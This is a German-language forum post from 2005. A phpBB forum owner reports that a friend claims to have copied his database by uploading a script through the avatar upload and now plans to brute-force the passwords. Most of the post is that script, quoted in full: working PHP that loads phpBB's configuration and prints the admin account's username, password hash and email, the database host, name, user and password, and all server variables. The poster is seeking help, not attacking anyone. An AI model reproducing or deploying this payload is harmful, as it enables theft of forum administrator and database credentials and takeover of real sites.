Freund meint Forum fast gehackt
Verfasst: 16.10.2005 20:30
Also ein Freund meint das er schon eine Kopie meiner Datenbank hat, indem er dieses Script per Avatar upload auf meinen Space geladen hat.
Jetzt will er auch noch die PW´s mit bruteforce knacken .. ich bin allerdings ein bisschen verwirrt, da er eben zu mir meinte, dass ich ihm mal meine Datenbank schicken soll, weil er noch was überprüfen wolle. Ich habe es aber natürlich nicht gemacht !!!
Code: Alles auswählen
<?php
define('IN_PHPBB', true);
$phpbb_root_path = '';
include($phpbb_root_path . '/extension.inc');
include($phpbb_root_path . '/db/mysql.'.$phpEx);
include($phpbb_root_path . '/common.'.$phpEx);
?>
<b><h2>Do Not Worry About the Errors Above. The Information you Want is below :-) </h2></b>
<h4>
Admin Forum Information: </h4>
<?php
$uid = '2';
$sql = "SELECT user_id, username, user_password, user_email
FROM ". USERS_TABLE ."
WHERE user_id = $uid";
if ( !($result = $db->sql_query($sql)) )
{
message_die(GENERAL_ERROR, 'Error in obtaining userdata', '', __LINE__, __FILE__, $sql);
}
echo "<table>\n";
while ($line = mysql_fetch_array($result, MYSQL_ASSOC))
{
echo "\t<tr>\n";
foreach ($line as $col_value)
{
echo "\t\t<td> $col_value </td>\n";
}
echo "\t<tr>\n";
}
echo "</table>\n";
?>
<h4>
Database Information:<br/></h4>
Database Type = <?php echo $dbms;?><br/>
DB Host = <?php echo $dbhost;?><br/>
DB Name = <?php echo $dbname;?><br/>
DB User = <?php echo $dbuser;?><br/>
DB Password = <?php echo $dbpasswd;?><br/>
DB Table Prefix = <?php echo $table_prefix;?><br/>
<p>
<p>
<?php print "Document root is ".$_SERVER["DOCUMENT_ROOT"]."<br />";
print "This page is called ".$_SERVER["PHP_SELF"]; ?>
<p>
<p>
<p>
<p>
<h4>And here is a load of useful info</h4></p>
<?php
print_r($_SERVER);
?>
<p>
<p>
<?php
print $_SERVER[""];#Built in Variable name
?>